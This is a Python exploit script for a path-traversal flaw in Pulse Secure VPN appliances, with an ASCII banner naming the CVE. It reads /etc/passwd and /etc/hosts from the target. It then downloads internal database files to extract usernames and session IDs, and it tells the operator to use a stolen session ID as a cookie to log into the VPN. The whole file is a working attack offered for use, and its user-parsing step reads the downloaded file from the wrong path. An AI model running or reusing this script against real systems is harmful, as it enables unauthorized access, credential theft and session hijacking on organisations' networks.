import requests

import requests.packages.urllib3

requests.packages.urllib3.disable_warnings()

import os

import sys

from urllib.parse import urlparse,urljoin

banner = '''

   _______      ________    ___   ___  __  ___        __ __ _____ __  ___

  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____/_ |/ _ \

 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__  | | | | |

 | |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ | | | | |

 | |____   \  /  | |____    / /_| |_| || |  / /       | || |___) || | |_| |

  \_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ |_|\___/ 

                         python By StudyCat

'''

print (banner)

def exp(url):

	netloc = urlparse(url)[1]

	path = urlparse(url)[2]

	if path == '/':

		url = url

	elif path == '':

		url = url+'/'

	else:

		print("URL Error")

		return

	r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/', verify=False)

	if r.status_code == 200 and 'root:x:0:0:root' in r.text:

		print(url + " ---------------> Vulnerable\n")

		print('Extracting /etc/passwd')

		print ("Writing all files to output dir "  + netloc)

		if not os.path.exists(netloc):

			os.mkdir(netloc)

		print(r.text+"\n")

		f = open(netloc+'/passwd','a')

		f.write(r.text)

		f.close()

		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/', verify=False)

		if r.status_code == 200:

			print('Extracting /etc/hosts')

			print(r.text)

			f = open(netloc+'/hosts','a')

			f.write(r.text+"\n")

			f.close()

		print('Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password')

		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/', verify=False)

		if r.status_code == 200:

			f = open(netloc+"/data_runtime_mtmp_lmdb_dataa_data.mdb",'ab')

			f.write(r.content)

			f.close()

			f = open('data_runtime_mtmp_lmdb_dataa_data.mdb','rb')

			users = []

			buf = f.readline()

			while buf:

				n = buf.count(b'CN=')

				if n>0:

					for i in range(n):

						if i :

							indexx = buf.find(b'CN=',indexx+1)

						else:

							indexx = buf.find(b'CN=')

							t = buf[indexx:indexx+100]

							end = t.find(b'\x00')

							t = buf[indexx:indexx+end]

							users.append(t.decode())

				buf = f.readline()

			f.close()

			users = list(set(users))

			f = open(netloc+"/users.txt","a")

			for line in users:

				f.write(line+"\n")

			f.close()	

		print("Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn")

		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/', verify=False)

		if r.status_code == 200:

			f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'ab')

			f.write(r.content)

			f.close()

			f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'rb')

			sessionids = []

			buf = f.readline()

			while buf:

				n = buf.count(b'randomVal')

				if n>0:

					for i in range(n):

						if i :

							indexx = buf.find(b'randomVal',indexx+9)

						else:

							indexx = buf.find(b'randomVal')

						t = buf[indexx:indexx+41]

						if len(t)==41 and b'\x00' not in t:

							sid = t[9:].decode()

							sessionids.append(sid)

				buf = f.readline()

			f.close()

			sessionids = list(set(sessionids))

			f = open(netloc+'/sessionids.txt','a')

			for sid in sessionids:

				print(sid)

				f.write(sid+"\n")

			f.close()

	else:

		print(url + " ---------------> Not Vulnerable")

def main():

	url = sys.argv[1]

	exp(url)

if __name__ == '__main__':

	main()